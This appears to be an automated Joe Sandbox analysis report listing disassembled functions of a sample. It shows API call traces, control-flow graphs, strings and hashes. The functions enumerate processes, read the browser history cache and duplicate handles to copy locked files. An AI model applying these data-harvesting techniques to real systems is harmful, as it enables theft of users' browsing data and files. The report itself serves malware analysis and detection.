                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpy$_wcsicmpmemset$freewcschrwcslen
                                                                                            • String ID: $AccessCount$AccessedTime$CreationTime$EntryID$ExpiryTime$ModifiedTime$Url
                                                                                            • API String ID: 3849927982-2252543386
                                                                                            • Opcode ID: 3e36793f9e080becf73b9dda80bc1391f7a6b1e793b4af3828a127e2c1810b15
                                                                                            • Instruction ID: 3bb3cf654da2d90f893253d259683e8481abe175d229eeda5eb464894a91a1db
                                                                                            • Opcode Fuzzy Hash: 3e36793f9e080becf73b9dda80bc1391f7a6b1e793b4af3828a127e2c1810b15
                                                                                            • Instruction Fuzzy Hash: DA512071E00309ABDF10EFA6DC45B9EB7B8AF54305F15443BA904F7291E678AA14CB58
                                                                                            Function 004091B8 Relevance: 25.8, APIs: 16, Strings: 1, Instructions: 272COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 562 4091b8-40921b memset call 40a6e6 call 444432 567 409520-409526 562->567 568 409221-40923b call 40b273 call 438552 562->568 572 409240-409248 568->572 573 409383-4093ab call 40b273 call 438552 572->573 574 40924e-409258 call 4251c4 572->574 586 4093b1 573->586 587 4094ff-40950b call 443d90 573->587 579 40937b-40937e call 424f26 574->579 580 40925e-409291 call 4253cf * 2 call 4253af * 2 574->580 579->573 580->579 610 409297-409299 580->610 590 4093d3-4093dd call 4251c4 586->590 587->567 596 40950d-409511 587->596 597 4093b3-4093cc call 4253cf * 2 590->597 598 4093df 590->598 596->567 600 409513-40951d call 408f2f 596->600 597->590 613 4093ce-4093d1 597->613 602 4094f7-4094fa call 424f26 598->602 600->567 602->587 610->579 612 40929f-4092a3 610->612 612->579 614 4092a9-4092ba 612->614 613->590 617 4093e4-4093fb call 4253af * 2 613->617 615 4092bc 614->615 616 4092be-4092e3 memcpy memcmp 614->616 615->616 618 409333-409345 memcmp 616->618 619 4092e5-4092ec 616->619 617->602 627 409401-409403 617->627 618->579 622 409347-40935f memcpy 618->622 619->579 621 4092f2-409331 memcpy * 2 619->621 624 409363-409378 memcpy 621->624 622->624 624->579 627->602 628 409409-40941b memcmp 627->628 628->602 629 409421-409433 memcmp 628->629 630 4094a4-4094b6 memcmp 629->630 631 409435-40943c 629->631 630->602 633 4094b8-4094ed memcpy * 2 630->633 631->602 632 409442-4094a2 memcpy * 3 631->632 634 4094f4 632->634 633->634 634->602
                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 004091E2
                                                                                              • Part of subcall function 0040A6E6: WideCharToMultiByte.KERNEL32(0000FDE9,00000000,000003FF,000000FF,00000000,000003FF,00000000,00000000,0040B866,00445FAE,?,?,?,?,?,?), ref: 0040A6FF
                                                                                            • memcpy.MSVCRT(?,00000000,?,?,?,?,?,?,?,?,?,?,00000143,00000000), ref: 004092C9
                                                                                            • memcmp.MSVCRT(00000000,0045A4F0,00000006,?,?,?,?,?,?,?,?,?,?,?,?,00000143), ref: 004092D9
                                                                                            • memcpy.MSVCRT(?,00000023,?), ref: 0040930C
                                                                                            • memcpy.MSVCRT(?,?,00000010), ref: 00409325
                                                                                            • memcmp.MSVCRT(00000000,0045A4E8,00000006), ref: 0040933B
                                                                                            • memcpy.MSVCRT(?,00000015,?), ref: 00409357
                                                                                            • memcpy.MSVCRT(?,?,00000010), ref: 00409370
                                                                                            • memcmp.MSVCRT(00000000,004599B8,00000010), ref: 00409411
                                                                                            • memcmp.MSVCRT(00000000,0045A500,00000006), ref: 00409429
                                                                                            • memcpy.MSVCRT(?,00000023,?), ref: 00409462
                                                                                            • memcpy.MSVCRT(?,?,00000010), ref: 0040947E
                                                                                            • memcpy.MSVCRT(?,?,00000020), ref: 0040949A
                                                                                            • memcmp.MSVCRT(00000000,0045A4F8,00000006), ref: 004094AC
                                                                                            • memcpy.MSVCRT(?,00000015,?), ref: 004094D0
                                                                                            • memcpy.MSVCRT(?,?,00000020), ref: 004094E8
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memcpy$memcmp$ByteCharMultiWidememset
                                                                                            • String ID:
                                                                                            • API String ID: 3715365532-3916222277
                                                                                            • Opcode ID: 1c524b1582e21d5cf33c38ae172dfd569e4d92201c70e2bcc6981c46efb40b80
                                                                                            • Instruction ID: d5c0d9b4f94ac501fd0f2fb5594fd033b2d13f4c98b4255323c8c53c7695c3f7
                                                                                            • Opcode Fuzzy Hash: 1c524b1582e21d5cf33c38ae172dfd569e4d92201c70e2bcc6981c46efb40b80
                                                                                            • Instruction Fuzzy Hash: DDA1BA71900605ABDB21EF65D885BAFB7BCAF44304F01043FF945E6282EB78EA458B59
                                                                                            Function 00413D4C Relevance: 22.9, APIs: 11, Strings: 2, Instructions: 142processlibraryloaderCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 635 413d4c-413da0 call 40b633 CreateToolhelp32Snapshot memset Process32FirstW 638 413f00-413f11 Process32NextW 635->638 639 413da5-413ded OpenProcess 638->639 640 413f17-413f24 CloseHandle 638->640 641 413eb0-413eb5 639->641 642 413df3-413e26 memset call 413f27 639->642 641->638 644 413eb7-413ebd 641->644 650 413e79-413e9d call 413959 call 413ca4 642->650 651 413e28-413e35 642->651 645 413ec8-413eda call 4099f4 644->645 646 413ebf-413ec6 free 644->646 648 413edb-413ee2 645->648 646->648 655 413ee4 648->655 656 413ee7-413efe 648->656 662 413ea2-413eae CloseHandle 650->662 653 413e61-413e68 651->653 654 413e37-413e44 GetModuleHandleW 651->654 653->650 659 413e6a-413e76 653->659 654->653 658 413e46-413e5c GetProcAddress 654->658 655->656 656->638 658->653 659->650 662->641
                                                                                            APIs
                                                                                              • Part of subcall function 0040B633: free.MSVCRT ref: 0040B63A
                                                                                            • CreateToolhelp32Snapshot.KERNEL32(00000002,00000000,?,?,?), ref: 00413D6A
                                                                                            • memset.MSVCRT ref: 00413D7F
                                                                                            • Process32FirstW.KERNEL32(00000000,?), ref: 00413D9B
                                                                                            • OpenProcess.KERNEL32(00000410,00000000,?,?,?,?), ref: 00413DE0
                                                                                            • memset.MSVCRT ref: 00413E07
                                                                                            • GetModuleHandleW.KERNEL32(kernel32.dll,00000000,?), ref: 00413E3C
                                                                                            • GetProcAddress.KERNEL32(00000000,QueryFullProcessImageNameW), ref: 00413E56
                                                                                            • CloseHandle.KERNEL32(?,?,?,?,00000000,?), ref: 00413EA8
                                                                                            • free.MSVCRT ref: 00413EC1
                                                                                            • Process32NextW.KERNEL32(00000000,0000022C), ref: 00413F0A
                                                                                            • CloseHandle.KERNEL32(00000000,00000000,0000022C), ref: 00413F1A
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Handle$CloseProcess32freememset$AddressCreateFirstModuleNextOpenProcProcessSnapshotToolhelp32
                                                                                            • String ID: QueryFullProcessImageNameW$kernel32.dll
                                                                                            • API String ID: 1344430650-1740548384
                                                                                            • Opcode ID: 7edb3ed668d67efb41ddc3a99b3dcc2d3fa5e99a9f713289acc2c2ca3bb66fb8
                                                                                            • Instruction ID: a891ebf292d3308fa7e32b9fbc5d589fb36fb38cf1b6cbdc37d41f3709903cdc
                                                                                            • Opcode Fuzzy Hash: 7edb3ed668d67efb41ddc3a99b3dcc2d3fa5e99a9f713289acc2c2ca3bb66fb8
                                                                                            • Instruction Fuzzy Hash: B4518FB2C00218ABDB10DF5ACC84ADEF7B9AF95305F1041ABE509A3251D7795F84CFA9
                                                                                            Function 0040E01E Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 120fileCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                              • Part of subcall function 0040DD85: memset.MSVCRT ref: 0040DDAD
                                                                                              • Part of subcall function 0040DD85: CreateFileW.KERNELBASE(?,80000000,00000003,00000000,00000003,00000000,00000000,?,000000FF,00000000,00000104), ref: 0040DDD4
                                                                                              • Part of subcall function 0040DD85: NtQuerySystemInformation.NTDLL(00000010,00000104,00001000,00000000,?,000000FF,00000000,00000104), ref: 0040DE15
                                                                                              • Part of subcall function 0040DD85: CloseHandle.KERNELBASE(C0000004,?,000000FF,00000000,00000104), ref: 0040DE3E
                                                                                              • Part of subcall function 0040DD85: GetCurrentProcessId.KERNEL32(?,000000FF,00000000,00000104), ref: 0040DE49
                                                                                              • Part of subcall function 0040DD85: _wcsicmp.MSVCRT ref: 0040DEB2
                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040B608), ref: 0040AFD8
                                                                                            • OpenProcess.KERNEL32(00000040,00000000,00000000,00000104,?,00000000,00000104,?,00000000,00000104,00000000), ref: 0040E093
                                                                                            • GetCurrentProcess.KERNEL32(?,80000000,00000000,00000000), ref: 0040E0B2
                                                                                            • DuplicateHandle.KERNELBASE(?,00000104,00000000), ref: 0040E0BF
                                                                                            • GetFileSize.KERNEL32(?,00000000), ref: 0040E0D4
                                                                                              • Part of subcall function 00409A45: GetTempPathW.KERNEL32(00000104,?,00445FAE), ref: 00409A5C
                                                                                              • Part of subcall function 00409A45: GetWindowsDirectoryW.KERNEL32(?,00000104), ref: 00409A6E
                                                                                              • Part of subcall function 00409A45: GetTempFileNameW.KERNELBASE(?,0040B827,00000000,?), ref: 00409A85
                                                                                              • Part of subcall function 004096DC: CreateFileW.KERNELBASE(00000000,40000000,00000001,00000000,00000002,00000000,00000000,0041052B,00000000,?,00412758,00000000,00000000,?,00000000,00000000), ref: 004096EE
                                                                                            • CreateFileMappingW.KERNELBASE(?,00000000,00000002,00000000,00000000,00000000), ref: 0040E0FE
                                                                                            • MapViewOfFile.KERNELBASE(00000000,00000004,00000000,00000000,00000104), ref: 0040E113
                                                                                            • WriteFile.KERNELBASE(00000000,00000000,00000104,0040E6A3,00000000), ref: 0040E12E
                                                                                            • UnmapViewOfFile.KERNEL32(00000000), ref: 0040E135
                                                                                            • CloseHandle.KERNELBASE(?), ref: 0040E13E
                                                                                            • CloseHandle.KERNEL32(00000000), ref: 0040E143
                                                                                            • CloseHandle.KERNEL32(?), ref: 0040E148
                                                                                            • CloseHandle.KERNEL32(?), ref: 0040E14D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: File$Handle$Close$CreateProcess$CurrentTempView$??2@DirectoryDuplicateInformationMappingNameOpenPathQuerySizeSystemUnmapWindowsWrite_wcsicmpmemset
                                                                                            • String ID: bhv
                                                                                            • API String ID: 4234240956-2689659898
                                                                                            • Opcode ID: d6173e2fc1e4a9acd8e6e5097b502ef7bad012bb9f4f5ce7a241332e90e3d993
                                                                                            • Instruction ID: 69536691d8562172d0558c987aea6dfe4ed17d6a9a6de0cf2c6621a9a97a0e87
                                                                                            • Opcode Fuzzy Hash: d6173e2fc1e4a9acd8e6e5097b502ef7bad012bb9f4f5ce7a241332e90e3d993
                                                                                            • Instruction Fuzzy Hash: 15412775800218FBCF119FA6CC489DFBFB9FF09750F148466F504A6250D7748A50CBA8
                                                                                            Function 00413F4F Relevance: 19.3, APIs: 5, Strings: 6, Instructions: 29libraryloaderCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 691 413f4f-413f52 692 413fa5 691->692 693 413f54-413f5a call 40a804 691->693 695 413f5f-413fa4 GetProcAddress * 5 693->695 695->692
                                                                                            APIs
                                                                                              • Part of subcall function 0040A804: memset.MSVCRT ref: 0040A824
                                                                                              • Part of subcall function 0040A804: GetSystemDirectoryW.KERNEL32(C:\Windows\system32,00000104), ref: 0040A841
                                                                                              • Part of subcall function 0040A804: wcscpy.MSVCRT ref: 0040A854
                                                                                              • Part of subcall function 0040A804: wcscat.MSVCRT ref: 0040A86A
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNELBASE(00000000), ref: 0040A87B
                                                                                              • Part of subcall function 0040A804: LoadLibraryW.KERNEL32(?), ref: 0040A884
                                                                                            • GetProcAddress.KERNEL32(00000000,psapi.dll), ref: 00413F6F
                                                                                            • GetProcAddress.KERNEL32(?,EnumProcessModules), ref: 00413F7B
                                                                                            • GetProcAddress.KERNEL32(?,GetModuleFileNameExW), ref: 00413F87
                                                                                            • GetProcAddress.KERNEL32(?,EnumProcesses), ref: 00413F93
                                                                                            • GetProcAddress.KERNEL32(?,GetModuleInformation), ref: 00413F9F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: AddressProc$LibraryLoad$DirectorySystemmemsetwcscatwcscpy
                                                                                            • String ID: EnumProcessModules$EnumProcesses$GetModuleBaseNameW$GetModuleFileNameExW$GetModuleInformation$psapi.dll
                                                                                            • API String ID: 2941347001-70141382
                                                                                            • Opcode ID: 39c22376907c33733211e363db3c4349312dc982ad78c4cc463d34b505bb12c7
                                                                                            • Instruction ID: 7b3d606b7d389a8205b465373562f67d85acf78e859b2fe1c5436fc88fb80995
                                                                                            • Opcode Fuzzy Hash: 39c22376907c33733211e363db3c4349312dc982ad78c4cc463d34b505bb12c7
                                                                                            • Instruction Fuzzy Hash: BBF03470840340AECB706F769809E06BEF0EFD8B097318C2EE6C557291E3BD9098DE48
                                                                                            Function 0040C274 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 112COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                            • memset.MSVCRT ref: 0040C298
                                                                                              • Part of subcall function 00414C2E: SHGetSpecialFolderPathW.SHELL32(00000000,?,0000001A,00000000,?,00000000), ref: 00414C68
                                                                                              • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E60F
                                                                                              • Part of subcall function 0040E5ED: memset.MSVCRT ref: 0040E629
                                                                                              • Part of subcall function 0040AFCF: ??2@YAPAXI@Z.MSVCRT(00000000,00000000,0040B608), ref: 0040AFD8
                                                                                            • FindFirstUrlCacheEntryW.WININET(visited:,?,80000001), ref: 0040C30D
                                                                                            • wcschr.MSVCRT ref: 0040C324
                                                                                            • wcschr.MSVCRT ref: 0040C344
                                                                                            • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C369
                                                                                            • GetLastError.KERNEL32 ref: 0040C373
                                                                                            • FindNextUrlCacheEntryW.WININET(?,?,80000001), ref: 0040C39F
                                                                                            • FindCloseUrlCache.WININET(?), ref: 0040C3B0
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: CacheFind$Entrymemset$Nextwcschr$??2@CloseErrorFirstFolderLastPathSpecial
                                                                                            • String ID: visited:
                                                                                            • API String ID: 2470578098-1702587658
                                                                                            • Opcode ID: 93c9a51482be428e2f8f42027b6bca19130ab09787b58ace62cc7f2a9cf54466
                                                                                            • Instruction ID: 6629d855392f08d41decd2a192e4b6579142cf3eaa95f33c860a05aa0b18639b
                                                                                            • Opcode Fuzzy Hash: 93c9a51482be428e2f8f42027b6bca19130ab09787b58ace62cc7f2a9cf54466
                                                                                            • Instruction Fuzzy Hash: DA417F71D00219ABDB10EF92DC85AEFBBB8FF45714F10416AE904F7281D7389A45CBA9
                                                                                            Function 0040E175 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 91COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 721 40e175-40e1a1 call 40695d call 406b90 726 40e1a7-40e1e5 memset 721->726 727 40e299-40e2a8 call 4069a3 721->727 729 40e1e8-40e1fa call 406e8f 726->729 733 40e270-40e27d call 406b53 729->733 734 40e1fc-40e219 call 40dd50 * 2 729->734 733->729 739 40e283-40e286 733->739 734->733 745 40e21b-40e21d 734->745 742 40e291-40e294 call 40aa04 739->742 743 40e288-40e290 free 739->743 742->727 743->742 745->733 746 40e21f-40e235 call 40742e 745->746 746->733 749 40e237-40e242 call 40aae3 746->749 749->733 752 40e244-40e26b _snwprintf call 40a8d0 749->752 752->733
                                                                                            APIs
                                                                                              • Part of subcall function 00406B90: _wcsicmp.MSVCRT ref: 00406BC1
                                                                                            • memset.MSVCRT ref: 0040E1BD
                                                                                              • Part of subcall function 00406E8F: memset.MSVCRT ref: 00406F8B
                                                                                            • free.MSVCRT ref: 0040E28B
                                                                                              • Part of subcall function 0040DD50: _wcsicmp.MSVCRT ref: 0040DD69
                                                                                              • Part of subcall function 0040AAE3: wcslen.MSVCRT ref: 0040AAF2
                                                                                              • Part of subcall function 0040AAE3: _memicmp.MSVCRT ref: 0040AB20
                                                                                            • _snwprintf.MSVCRT ref: 0040E257
                                                                                              • Part of subcall function 0040A8D0: wcslen.MSVCRT ref: 0040A8E2
                                                                                              • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A908
                                                                                              • Part of subcall function 0040A8D0: free.MSVCRT ref: 0040A92B
                                                                                              • Part of subcall function 0040A8D0: memcpy.MSVCRT(?,?,000000FF,00000001,?,00000000,?,?,0040AD76,?,000000FF), ref: 0040A94F
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: free$_wcsicmpmemsetwcslen$_memicmp_snwprintfmemcpy
                                                                                            • String ID: $ContainerId$Container_%I64d$Containers$Name
                                                                                            • API String ID: 2804212203-2982631422
                                                                                            • Opcode ID: 7a95fccbd23525aa76b2e079fc64e0475dfff11d865135f876cd6a5397388c2b
                                                                                            • Instruction ID: de93d03617a61f3aa6bbe184beafcfad76b4f566d35596b706efacabd7485ccb
                                                                                            • Opcode Fuzzy Hash: 7a95fccbd23525aa76b2e079fc64e0475dfff11d865135f876cd6a5397388c2b
                                                                                            • Instruction Fuzzy Hash: 74318272D002196ADF10EFA6DC45ADEB7B8AF04344F1105BFE508B3191DB38AE598F99
                                                                                            Function 0040B58D Relevance: 14.1, APIs: 6, Strings: 2, Instructions: 60COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 754 40b58d-40b59e 755 40b5a4-40b5c0 GetModuleHandleW FindResourceW 754->755 756 40b62e-40b632 754->756 757 40b5c2-40b5ce LoadResource 755->757 758 40b5e7 755->758 757->758 759 40b5d0-40b5e5 SizeofResource LockResource 757->759 760 40b5e9-40b5eb 758->760 759->760 760->756 761 40b5ed-40b5ef 760->761 761->756 762 40b5f1-40b629 call 40afcf memcpy call 40b4d3 call 40b3c1 call 40b04b 761->762 762->756
                                                                                            APIs
                                                                                            • GetModuleHandleW.KERNEL32(00000000,?, AE,?,?,00411B78,?,General,?,00000000,00000001), ref: 0040B5A5
                                                                                            • FindResourceW.KERNELBASE(00000000,00000032,BIN), ref: 0040B5B6
                                                                                            • LoadResource.KERNEL32(00000000,00000000), ref: 0040B5C4
                                                                                            • SizeofResource.KERNEL32(?,00000000), ref: 0040B5D4
                                                                                            • LockResource.KERNEL32(00000000), ref: 0040B5DD
                                                                                            • memcpy.MSVCRT(00000000,00000000,00000000), ref: 0040B60D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: Resource$FindHandleLoadLockModuleSizeofmemcpy
                                                                                            • String ID: AE$BIN
                                                                                            • API String ID: 1668488027-3931574542
                                                                                            • Opcode ID: 34e809506899ed03cb1dc36614dfe32cef5e62f1a3b34244b0efced66f6d4593
                                                                                            • Instruction ID: e905eb6dc449d61379ecdc49350c1a2f8866219970738eecada31b95dd052af9
                                                                                            • Opcode Fuzzy Hash: 34e809506899ed03cb1dc36614dfe32cef5e62f1a3b34244b0efced66f6d4593
                                                                                            • Instruction Fuzzy Hash: 5E11C636C00225BBD7116BE2DC09AAFBA78FF85755F010476F81072292DB794D018BED
                                                                                            Function 0040BB98 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 145COMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            APIs
                                                                                              • Part of subcall function 0040CC26: GetFileSize.KERNEL32(00000000,00000000,000003FF,?,00000000,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE,?), ref: 0040CC44
                                                                                              • Part of subcall function 0040CC26: CloseHandle.KERNELBASE(?,?,000000FF,0000FDE9), ref: 0040CC98
                                                                                              • Part of subcall function 0040CCF0: _wcsicmp.MSVCRT ref: 0040CD2A
                                                                                            • memset.MSVCRT ref: 0040BC75
                                                                                            • memset.MSVCRT ref: 0040BC8C
                                                                                            • WideCharToMultiByte.KERNEL32(00000000,00000000,Function_0004E518,000000FF,?,00000FFF,00000000,00000000,?,?,?,0040B7D4,?,?), ref: 0040BCA8
                                                                                            • memcmp.MSVCRT(?,00000000,00000005,?,?,?,0040B7D4,?,?,?,?,000003FF,?,?,?,00445FAE), ref: 0040BCD6
                                                                                            • memcpy.MSVCRT(00000024,?,00000020,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD2B
                                                                                            • LocalFree.KERNEL32(?,?,00000000,00000000,?,?,?,?,?,?,?,0040B7D4), ref: 0040BD3D
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: memset$ByteCharCloseFileFreeHandleLocalMultiSizeWide_wcsicmpmemcmpmemcpy
                                                                                            • String ID:
                                                                                            • API String ID: 115830560-3916222277
                                                                                            • Opcode ID: 4ebf604db45489440b0c8485e844b7deffc41ff7e568ae10611abfa3d316197e
                                                                                            • Instruction ID: 00a8249a540342db609c93f8c1f67c79963b4134db5221072d0e6ece1bb2d715
                                                                                            • Opcode Fuzzy Hash: 4ebf604db45489440b0c8485e844b7deffc41ff7e568ae10611abfa3d316197e
                                                                                            • Instruction Fuzzy Hash: 3F41B372900219ABDB10ABA5CC85ADEB7ACEF04314F01057BB509F7292D7789E45CA99
                                                                                            Function 0041837F Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 140fileCOMMON
                                                                                            Download Yara Rule

                                                                                            Control-flow Graph

                                                                                            • Executed
                                                                                            • Not Executed
                                                                                            control_flow_graph 822 41837f-4183bf 823 4183c1-4183cc call 418197 822->823 824 4183dc-4183ec call 418160 822->824 829 4183d2-4183d8 823->829 830 418517-41851d 823->830 831 4183f6-41840b 824->831 832 4183ee-4183f1 824->832 829->824 833 418417-418423 831->833 834 41840d-418415 831->834 832->830 835 418427-418442 call 41739b 833->835 834->835 838 418444-41845d CreateFileW 835->838 839 41845f-418475 CreateFileA 835->839 840 418477-41847c 838->840 839->840 841 4184c2-4184c7 840->841 842 41847e-418495 GetLastError free 840->842 845 4184d5-418501 memset call 418758 841->845 846 4184c9-4184d3 841->846 843 4184b5-4184c0 call 444706 842->843 844 418497-4184b3 call 41837f 842->844 843->830 844->830 850 418506-418515 free 845->850 846->845 850->830
                                                                                            APIs
                                                                                            • CreateFileW.KERNELBASE(?,-7FBE829D,00000003,00000000,?,?,00000000), ref: 00418457
                                                                                            • CreateFileA.KERNEL32(?,-7FBE829D,00000003,00000000,|A,00417CE3,00000000), ref: 0041846F
                                                                                            • GetLastError.KERNEL32 ref: 0041847E
                                                                                            • free.MSVCRT ref: 0041848B
                                                                                            Strings
                                                                                            Memory Dump Source
                                                                                            • Source File: 00000003.00000002.1348160885.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Offset: 00400000, based on PE: true
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000459000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.000000000045D000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            • Associated: 00000003.00000002.1348160885.0000000000473000.00000040.80000000.00040000.00000000.sdmpDownload File
                                                                                            Joe Sandbox IDA Plugin
                                                                                            • Snapshot File: hcaresult_3_2_400000_1736928426c18fddec09a2865189863f874127ef0886c6a264008603d3a139c5bad971.jbxd
                                                                                            Similarity
                                                                                            • API ID: CreateFile$ErrorLastfree
                                                                                            • String ID: |A
                                                                                            • API String ID: 77810686-1717621600
                                                                                            • Opcode ID: b9220c8ee9235e77546fc7e578fe859ac5c7910c95b4d012992e052ab282d142
